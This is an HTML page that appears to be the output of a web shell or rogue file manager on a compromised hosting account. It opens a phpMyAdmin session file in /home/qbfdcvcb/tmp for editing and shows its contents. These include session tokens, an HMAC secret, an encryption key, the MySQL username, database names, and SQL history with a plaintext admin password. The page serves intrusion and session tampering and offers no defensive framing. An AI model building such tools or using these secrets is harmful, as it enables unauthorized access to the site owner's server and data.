

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_b5ca43232158d059fae91682f03499ae</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;7c67435b3660557e556a312b692a6c2c&quot;; HMAC_secret |s:16:&quot;36y$)f&lt;^j?KE+rb}&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:11:{s:7:&quot;default&quot;;i:1754584130;s:36:&quot;dced917d-db51-5041-0d69-f627bfce97a0&quot;;i:1754565358;s:36:&quot;9f8f66ab-d09d-7c72-5a38-1725d2843f2e&quot;;i:1754573955;s:36:&quot;4390bb1e-ae62-3beb-c8c7-b1c1716b4cba&quot;;i:1754569992;s:36:&quot;98bcf980-c5db-65a7-f8ab-208a5c6127f6&quot;;i:1754577067;s:36:&quot;251d1fe2-ab01-41ac-b0aa-634d5c0c2e7e&quot;;i:1754574317;s:36:&quot;9f2e5ed0-6938-9d58-b0f6-fc3d926b0dd3&quot;;i:1754579629;s:36:&quot;fb899570-1064-3d15-5e5b-eb49498a857a&quot;;i:1754578191;s:36:&quot;abeb18d7-c801-607c-776d-12277322b0a9&quot;;i:1754582911;s:36:&quot;b64f423e-0649-a4eb-7dbc-54b9b86abb0b&quot;;i:1754581854;s:36:&quot;c31ed49d-35b0-6f18-b8b8-faf1a0e0cef6&quot;;i:1754583533;}encryption_key|s:32:&quot;/L �i� &gt;�BGku��бݩ�v������&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1754584125;}two_factor_check|b:1;cache|a:2:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1754584125;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qbclqco86b&quot;;a:18:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:3:{i:0;s:15:&quot;qbfdcvcb\_teats&quot;;i:1;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:2;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:19:&quot;profiling_supported&quot;;b:1;s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbclqco86b@localhost&quot;;s:12:&quot;is_superuser&quot;;b:0;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:16:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:3:{i:0;a:2:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;}i:1;a:2:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;tasks&quot;;}i:2;a:2:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:8:&quot;projects&quot;;}}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;query&quot;;a:10:{s:32:&quot;e8762c82408d0aac109cd01eceb9850c&quot;;a:8:{s:3:&quot;sql&quot;;s:58:&quot;ALTER TABLE users
CHANGE COLUMN phone mobile VARCHAR(20);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;e09cd135cdef6eeeefbb22af2389ef8f&quot;;a:8:{s:3:&quot;sql&quot;;s:66:&quot;ALTER TABLE tasks
ADD COLUMN assigned_worker_id INT DEFAULT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;368ba0f9f653b48484f86f34eb72a4e4&quot;;a:8:{s:3:&quot;sql&quot;;s:21:&quot;SELECT * FROM `tasks`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d443fa890da5373ab0dd5cd520a0a148&quot;;a:8:{s:3:&quot;sql&quot;;s:59:&quot;ALTER TABLE users ADD COLUMN type VARCHAR(50) DEFAULT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;df2fb986398110f8d88e0b1449a72535&quot;;a:8:{s:3:&quot;sql&quot;;s:71:&quot;ALTER TABLE users
ADD COLUMN type VARCHAR(50) DEFAULT NULL AFTER role;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;20e4fa4f06be4201fc2284c2abd4b6ba&quot;;a:8:{s:3:&quot;sql&quot;;s:21:&quot;SELECT * FROM `users`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;5d845ea6562c29687b7aa636305aa158&quot;;a:8:{s:3:&quot;sql&quot;;s:473:&quot;CREATE TABLE IF NOT EXISTS tasks (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(255) NOT NULL,
  description TEXT,
  project_id INT NOT NULL,
  assigned_worker_id INT DEFAULT NULL,
  start_date DATE,
  end_date DATE,
  status ENUM(&#039;created&#039;,&#039;assigned&#039;,&#039;started&#039;,&#039;completed&#039;) DEFAULT &#039;created&#039;,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (project_id) REFERENCES projects(id),
  FOREIGN KEY (assigned_worker_id) REFERENCES users(id)
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;cabc401d93b5e60bbf3512f683274de0&quot;;a:8:{s:3:&quot;sql&quot;;s:113:&quot;ALTER TABLE tasks
ADD COLUMN assigned_worker_id INT DEFAULT NULL,
ADD COLUMN assigned_at DATETIME DEFAULT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;9be716555e637206308907f0513d634b&quot;;a:8:{s:3:&quot;sql&quot;;s:64:&quot;ALTER TABLE tasks
ADD COLUMN assigned_at DATETIME DEFAULT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;49ad1d95b40d035889093f91ea2e10ac&quot;;a:8:{s:3:&quot;sql&quot;;s:249:&quot;CREATE TABLE task_assignments (
  id INT AUTO_INCREMENT PRIMARY KEY,
  task_id INT,
  user_id INT,
  assigned_at DATETIME DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (task_id) REFERENCES tasks(id),
  FOREIGN KEY (user_id) REFERENCES users(id)
);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;s:13:&quot;table_uiprefs&quot;;a:1:{i:1;a:1:{s:24:&quot;qbfdcvcb_site-management&quot;;a:3:{s:5:&quot;users&quot;;a:0:{}s:8:&quot;projects&quot;;a:0:{}s:5:&quot;tasks&quot;;a:0:{}}}}s:20:&quot;possible_as_geometry&quot;;b:1;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}Import_message|a:2:{s:7:&quot;message&quot;;N;s:11:&quot;go_back_url&quot;;s:72:&quot;index.php?route=/table/structure&amp;db=qbfdcvcb_site-management&amp;table=users&quot;;}is_multi_query|b:0;sql_history|a:24:{i:0;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:514:&quot;-- 11. PURCHASES (optional material logs)
CREATE TABLE IF NOT EXISTS purchases (
    id INT AUTO_INCREMENT PRIMARY KEY,
    project_id INT,
    item_name VARCHAR(150),
    quantity INT,
    cost_per_unit DECIMAL(10,2),
    purchase_date DATE,
    vendor_name VARCHAR(255),
    notes TEXT,
    added_by INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
    FOREIGN KEY (added_by) REFERENCES users(id) ON DELETE SET NULL
);&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `users`&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:113:&quot;INSERT INTO users (name, email, password, role)
VALUES (&#039;Admin User&#039;, &#039;admin@example.com&#039;, &#039;admin123&#039;, &#039;admin&#039;);&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:54:&quot;SELECT * FROM users WHERE email = &#039;admin@example.com&#039;;&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:61:&quot;SELECT password FROM users WHERE email = &#039;admin@example.com&#039;;&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:343:&quot;CREATE TABLE IF NOT EXISTS users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(100),
  email VARCHAR(100) UNIQUE,
  password VARCHAR(255),
  role ENUM(&#039;admin&#039;, &#039;pm&#039;, &#039;supervisor&#039;, &#039;worker&#039;) NOT NULL,
  mobile VARCHAR(15),
  skills TEXT, -- comma-separated values for workers
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:8:&quot;projects&quot;;s:8:&quot;sqlquery&quot;;s:24:&quot;SELECT * FROM `projects`&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:8:&quot;projects&quot;;s:8:&quot;sqlquery&quot;;s:284:&quot;CREATE TABLE IF NOT EXISTS projects (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(255),
  location VARCHAR(255),
  start_date DATE,
  end_date DATE,
  created_by INT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (created_by) REFERENCES users(id)
);&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:8:&quot;projects&quot;;s:8:&quot;sqlquery&quot;;s:24:&quot;SELECT * FROM `projects`&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:8:&quot;projects&quot;;s:8:&quot;sqlquery&quot;;s:473:&quot;CREATE TABLE IF NOT EXISTS tasks (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(255),
  description TEXT,
  project_id INT,
  assigned_worker_id INT,
  start_date DATE,
  end_date DATE,
  status ENUM(&#039;accepted&#039;, &#039;started&#039;, &#039;completed&#039;) DEFAULT &#039;accepted&#039;,
  created_by INT,
  updated_by INT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (project_id) REFERENCES projects(id),
  FOREIGN KEY (assigned_worker_id) REFERENCES users(id)
);&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:70:&quot;ALTER TABLE tasks
ADD COLUMN assigned_worker_id INT AFTER project_id;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:108:&quot;ALTER TABLE tasks
ADD CONSTRAINT fk_assigned_worker
FOREIGN KEY (assigned_worker_id) REFERENCES users(id);&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:256:&quot;CREATE TABLE IF NOT EXISTS project_users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  project_id INT,
  user_id INT,
  role ENUM(&#039;supervisor&#039;, &#039;worker&#039;),
  FOREIGN KEY (project_id) REFERENCES projects(id),
  FOREIGN KEY (user_id) REFERENCES users(id)
);&quot;;}i:13;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:295:&quot;CREATE TABLE IF NOT EXISTS task_uploads (
  id INT AUTO_INCREMENT PRIMARY KEY,
  task_id INT,
  type ENUM(&#039;before&#039;, &#039;after&#039;) NOT NULL,
  file_path VARCHAR(255) NOT NULL,
  uploaded_by INT,
  uploaded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (task_id) REFERENCES tasks(id)
);&quot;;}i:14;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:268:&quot;CREATE TABLE IF NOT EXISTS attendance (
  id INT AUTO_INCREMENT PRIMARY KEY,
  project_id INT,
  user_id INT,
  date DATE,
  status ENUM(&#039;present&#039;, &#039;absent&#039;),
  overtime_hours INT DEFAULT 0,
  marked_by INT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);&quot;;}i:15;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `users`&quot;;}i:16;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:58:&quot;ALTER TABLE users
CHANGE COLUMN phone mobile VARCHAR(20);&quot;;}i:17;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;tasks&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `tasks`&quot;;}i:18;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;tasks&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `tasks`&quot;;}i:19;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:59:&quot;ALTER TABLE users ADD COLUMN type VARCHAR(50) DEFAULT NULL;&quot;;}i:20;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `users`&quot;;}i:21;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:473:&quot;CREATE TABLE IF NOT EXISTS tasks (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(255) NOT NULL,
  description TEXT,
  project_id INT NOT NULL,
  assigned_worker_id INT DEFAULT NULL,
  start_date DATE,
  end_date DATE,
  status ENUM(&#039;created&#039;,&#039;assigned&#039;,&#039;started&#039;,&#039;completed&#039;) DEFAULT &#039;created&#039;,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (project_id) REFERENCES projects(id),
  FOREIGN KEY (assigned_worker_id) REFERENCES users(id)
);&quot;;}i:22;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:64:&quot;ALTER TABLE tasks
ADD COLUMN assigned_at DATETIME DEFAULT NULL;&quot;;}i:23;a:3:{s:2:&quot;db&quot;;s:24:&quot;qbfdcvcb_site-management&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:249:&quot;CREATE TABLE task_assignments (
  id INT AUTO_INCREMENT PRIMARY KEY,
  task_id INT,
  user_id INT,
  assigned_at DATETIME DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (task_id) REFERENCES tasks(id),
  FOREIGN KEY (user_id) REFERENCES users(id)
);&quot;;}}sql_from_query_box|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_b5ca43232158d059fae91682f03499ae'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>